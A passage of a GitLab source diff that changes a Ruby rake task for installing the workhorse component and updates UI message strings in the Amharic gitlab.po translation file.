+ # done: there would be an outdated copy of the workhorse source code for
+ # the administrator to poke at.
+ #
+ # To prevent this possible confusion and make clear what is going on, we
+ # have created a special branch `workhorse-move-notice` in the old
+ # gitlab-workhorse repository which contains no Go files anymore, just a
+ # README explaining what is going on. See:
+ # https://gitlab.com/gitlab-org/gitlab-workhorse/tree/workhorse-move-notice
+ #
args.with_defaults(repo: 'https://gitlab.com/gitlab-org/gitlab-workhorse.git')
+ checkout_or_clone_version(version: 'workhorse-move-notice', repo: args.repo, target_dir: args.dir, clone_opts: %w[--depth 1])
- version = Gitlab::Workhorse.version
-
- checkout_or_clone_version(version: version, repo: args.repo, target_dir: args.dir, clone_opts: %w[--depth 1])
-
- _, status = Gitlab::Popen.popen(%w[which gmake])
- command = status == 0 ? 'gmake' : 'make'
-
- Dir.chdir(args.dir) do
- run_command!([command])
- end
+ Gitlab::SetupHelper::Workhorse.compile_into(args.dir)
end
end
end
diff --git a/locale/am_ET/gitlab.po b/locale/am_ET/gitlab.po
index 91876bbef41..6b5ffc365e2 100644
--- a/locale/am_ET/gitlab.po
+++ b/locale/am_ET/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: am\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:44\n"
+"PO-Revision-Date: 2020-12-03 08:13\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,24 +356,15 @@ msgstr "%{actionText} እና %{openOrClose} %{noteable}"
msgid "%{address} is an invalid IP address range"
msgstr ""
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
msgid "%{authorsName}'s thread"
msgstr "የ%{authorsName} ክር"
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
-msgstr ""
-
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
msgstr ""
@@ -445,6 +441,9 @@ msgstr "%{count} ተዛማጅ %{pluralized_subject}: %{links}"
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr "%{issuableType} ይወገዳáˆ! እርáŒáŒ áŠ› ኖት? "
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr "%{listToShow}ᣠእና %{awardsListLength} ተጨማሪá¢"
-msgid "%{loadingIcon} Started"
-msgstr "%{loadingIcon} ተጀáˆáˆ¯áˆ"
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
